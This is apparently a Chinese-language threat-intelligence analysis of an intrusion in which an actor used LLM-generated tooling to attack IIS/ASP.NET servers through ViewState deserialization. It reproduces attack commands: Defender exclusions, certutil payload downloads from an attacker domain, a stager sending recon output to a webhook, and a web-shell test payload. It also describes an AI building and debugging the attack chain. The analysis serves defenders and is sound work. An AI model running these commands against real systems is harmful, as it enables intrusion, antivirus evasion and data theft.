摘要

報告分析了一份有記錄的入侵事件,其中一個以財務動機為導向的 Threat actor 在針對暴露於網際網路之網頁伺服器的漏洞利用、偵查及持續控制流程中,整合了大型語言模型(LLM)驅動的工具。分析重點在於觀察到的批次腳本自動化鏈條的技術機制,以及一份AI生成的ASP.NET ViewState還原序列化漏洞利用文章,並從原始報告中重建底層的命令邏輯與控制流程。

HTTP 500不是失敗是成功?AI教駭客用ysoserial對IIS發動ViewState攻擊! | 資訊安全新聞

1. 簡介

入侵後的自動化傳統上依賴靜態、由人為撰寫的作戰手冊。近期一份有記錄的攻擊活動顯示了朝向半自主協作的轉變,其中一個利用 LLM 系統生成演化式的漏洞利用優化、故障排除邏輯、品質保證驗證,以及結構化的操作文件,而非一次性腳本 [1] 。該工具組合了既有的開源攻擊框架——一個用於不安全.NET還原序列化的Payload生成工具、一個權限提升工具包,以及一個遠端存取木馬——並搭配生成的Python包裝程式,將這些基本元件串接成一個端對端的攻擊鏈 [1] 。報告重建了原始報導中描述的兩條主要自動化路徑:(1) 用於安裝惡意IIS模組的Windows批次腳本部署鏈,以及 (2) AI生成的ViewState還原序列化漏洞利用與入侵後腳本組合。

2. Windows入侵後自動化鏈

在Windows網頁伺服器上取得遠端程式碼執行權限後,一個暫存腳本(通常命名為"back.bat")使用 certutil 下載權限提升二進位檔、一個次要批次檔案,以及一個偽裝成合法處理程序名稱的遠端存取木馬 [1] 。該權限提升工具隨後透過登錄機碼和PowerShell cmdlet修改Windows Defender排除清單,特別鎖定兩個IIS模組目錄,使後續放入的惡意模組不會被掃描 [1]

2.1 防毒軟體排除與IIS模組暫存

  1. :: Program 1 - Windows Defender exclusion for IIS module directories
  2. :: Purpose: elevate via privilege-escalation helper (renamed "prcc1.rar")
  3. :: and blind AV to the folders where the malicious IIS
  4. :: module will later be dropped.
  5. prcc1.rar cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\Windows\SysWOW64\inetsrv
  6. prcc1.rar cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\Windows\System32\inetsrv
  7. :: Redundant registry-level exclusion in case the PowerShell cmdlet
  8. :: is blocked or logged separately from the Defender preference API.
  9. prcc1.rar cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Windows\SysWOW64\inetsrv" /t REG_DWORD /d 0 /f
  10. prcc1.rar cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Windows\System32\inetsrv" /t REG_DWORD /d 0 /f

程式 1. Defender排除序列。

採用雙重方法——同時呼叫PowerShell偏好設定API和直接寫入登錄,且目標路徑完全相同——顯示出操作上的假設,即任一控制管道都可能獨立失效或被監控,這是一種防禦規避模式,而非功能上的必要,因為單一方法通常就已足夠。

2.2 透過certutil下載Payload

  1. :: Program 2 - Staged download of the malicious IIS module and
  2. :: follow-on execution script using a native LOLBin (certutil),
  3. :: which avoids triggering network-egress alerts tied to browsers
  4. :: or PowerShell's Invoke-WebRequest.
  5. certutil -urlcache -split -f https://adminapi.tippusoni[.]in/4/dll.zip C:\ProgramData\dll.zip
  6. certutil -urlcache -split -f https://adminapi.tippusoni[.]in/4/user.txt C:\ProgramData\user.bat

程式 2. 利用certutil的Payload暫存 [1]

2.3 針對注入目標的本地偵查

  1. :: Program 3 - Enumerate IIS site bindings and configuration to
  2. :: identify candidate websites for malicious module injection.
  3. prcc1.rar cmd.exe /C C:\Windows\system32\inetsrv\appcmd list site /config /xml

程式 3. 使用appcmd進行IIS站台設定列舉 [1]

sequenceDiagram participant A as Attacker participant W as Compromised Windows Server participant D as Windows Defender participant C2 as Download Server A->>W: Execute back.bat via RCE/implant W->>C2: certutil download prcc1.rar (EfsPotato) W->>W: Run privilege escalation exploit W->>D: Add-MpPreference / reg add (exclude inetsrv paths) D-->>W: Exclusions applied W->>C2: certutil download dll.zip, user.bat W->>W: appcmd list site /config /xml W->>W: Deploy BadIIS module into excluded path W->>W: user.bat creates rogue admin + RDP user W->>W: Delete staging files (anti-forensics)

圖 1. Windows感染與BadIIS部署序列 [1]

3. AI生成的ViewState還原序列化漏洞攻擊鏈

第二條自動化路徑鎖定ASP.NET應用程式,透過不安全的ViewState還原序列化進行攻擊。攻擊首先要求操作者取得目標的ValidationKey和DecryptionKey資料,這些資料通常來自公開的MachineKey洩漏資料庫,然後透過比較由刻意格式錯誤的Payload所回傳的兩種不同HTTP 500錯誤特徵,來區分有效與無效的Key [1] 。這個診斷步驟相當重要,因為它允許在未觸發命令執行的情況下驗證Key,從而減少攻擊者在偵查期間被偵測到的風險。

隨後呼叫一個用於.NET還原序列化gadget chains的Payload生成工具,並使用一個 delegate-based gadget,該gadget據文件記載對現代.NET執行環境仍然有效,因為它依賴處理程序建立而非已修補的反射基本元件 [2] 。由於透過此基本元件建立處理程序是非同步的,該文章明確拒絕了利用時間延遲的確認技術,而是 out-of-band callback,這被歸因於操作者反覆操作的經驗累積 [1]

3.1 偵查與資料外洩腳本

一個生成的Python工具透過還原序列化基本元件,發送分段式PowerShell編碼命令,並將結果外洩至一個能與合法SaaS流量混合的webhook端點:

  1. # Program 4 - Reconstructed logic of the AI-generated exfiltration
  2. # stager (exfil.py). Each stage is base64/UTF-16LE encoded and
  3. # delivered via "powershell -nop -enc" through the ViewState RCE
  4. # primitive rather than executed directly, since the deserialization
  5. # gadget only grants a single command-execution opportunity per call.
  6. stage_1 = 'dir C:\\inetpub\\wwwroot\\ -Name' # enumerate hosted web apps
  7. stage_2 = 'appcmd.exe list site' # map IIS virtual hosting topology
  8. stage_3 = 'whoami /priv' # check for SeImpersonatePrivilege
  9. # (prerequisite for Potato-family
  10. # privilege escalation)
  11. for cmd in (stage_1, stage_2, stage_3):
  12. encoded = utf16le_base64(cmd)
  13. deliver_via_viewstate_rce(encoded, callback_url="https://webhook.site/<id>")

程式 4. 三階段偵查命令 [1]

3.2 Web Shell驗證Payload

在AI生成的部署腳本寫入一個最小化的上傳處理程式,並將功能完整的Web Shell轉送至網頁根目錄後,操作者的工具在將Shell視為可操作之前,會執行一次即時功能測試:

  1. # Program 5 - Web shell liveness/execution test payload used to
  2. # validate the deployed shell (sss.ashx) responds correctly before
  3. # the intrusion is marked as "confirmed" in operator notes.
  4. test_payload = {
  5. "a": "Execute", # action selector understood by the web shell
  6. "cmd": "whoami", # command to run on the compromised host
  7. "p": "dir" # secondary parameter, likely a working-directory hint
  8. }
  9. response = http_post(shell_url, data=test_payload)
  10. assert len(response.content) > 100 # non-trivial output confirms execution

程式 5. Web Shell執行驗證 [1]

sequenceDiagram participant Op as 操作者工具(AI生成) participant T as 目標IIS/ASP.NET伺服器 participant W as webhook.site端點 Op->>T: 格式錯誤的ViewState Payload(Key驗證探測) T-->>Op: HTTP 500(MAC failure vs InvalidCastException) Op->>T: ysoserial生成的ViewState Payload(gadget chain) T->>T: 還原序列化Payload,Process.Start()執行命令 T->>W: 帶外回呼確認程式碼執行 Op->>T: check_paths.py探測可寫入的網頁根目錄路徑 Op->>T: deploy_implant.py透過certutil部署植入程式 Op->>T: deploy_shell.py寫入up.ashx,轉送sss.ashx Op->>T: 執行測試Payload {a:Execute, cmd:whoami} T->>W: exfil.py各階段(dir, appcmd list site, whoami /priv)

圖 2. ViewState還原序列化漏洞利用與入侵後序列 [1]

4. 討論

有兩個結構性特徵使此自動化與早期的腳本化入侵工具區別開來。首先,這份漏洞利用文章編入了通常在多次人工作戰中累積的矯正性經驗知識——例如,明確覆蓋了關於gadget chain修補的既有錯誤認知,並在經過推測的試錯後,以 Out-of-band callback 取代了無效的利用時間等待的確認方法 [1] 。其次,文章中嵌入的回應碼解讀邏輯顛覆了常見的監控假設:HTTP 500回應被視為預期的成功指標而非失敗訊號,這對那些針對5xx狀態碼而非Payload內容發出警示的網路防禦機制形成了盲點 [1] 。這兩個特性都顯示代理式工具較少被單獨用於Payload生成,而更多被用於將操作判斷——傳統上需要熟練人工作業者的瓶頸——壓縮成可重複的腳本和 documentation artifact。這實際上的效果是降低了執行多階段還原序列化攻擊的技術門檻,而這類攻擊先前需要針對即時目標進行客製化除錯 [1]

5. 結論

命令鏈顯示代理式AI工具被應用於操作工作流程設計的層級,而非單一Payload生成:將Key驗證、Payload傳送、執行確認、偵查和持續控制,串接成一個連貫、有記錄的流程,且幾乎完全由現有的開源基本元件建構而成。AI系統增加的技術價值主要在於協作邏輯、錯誤條件解讀,以及自我修正的文件,而非新穎的漏洞利用基本元件。從此結構直接衍生的防禦優先事項包括:保護ASP.NET MachineKey資料、監控網頁伺服器上異常的certutil和appcmd呼叫,以及重新審視將HTTP 5xx回應視為漏洞利用失敗而非成功的警示邏輯。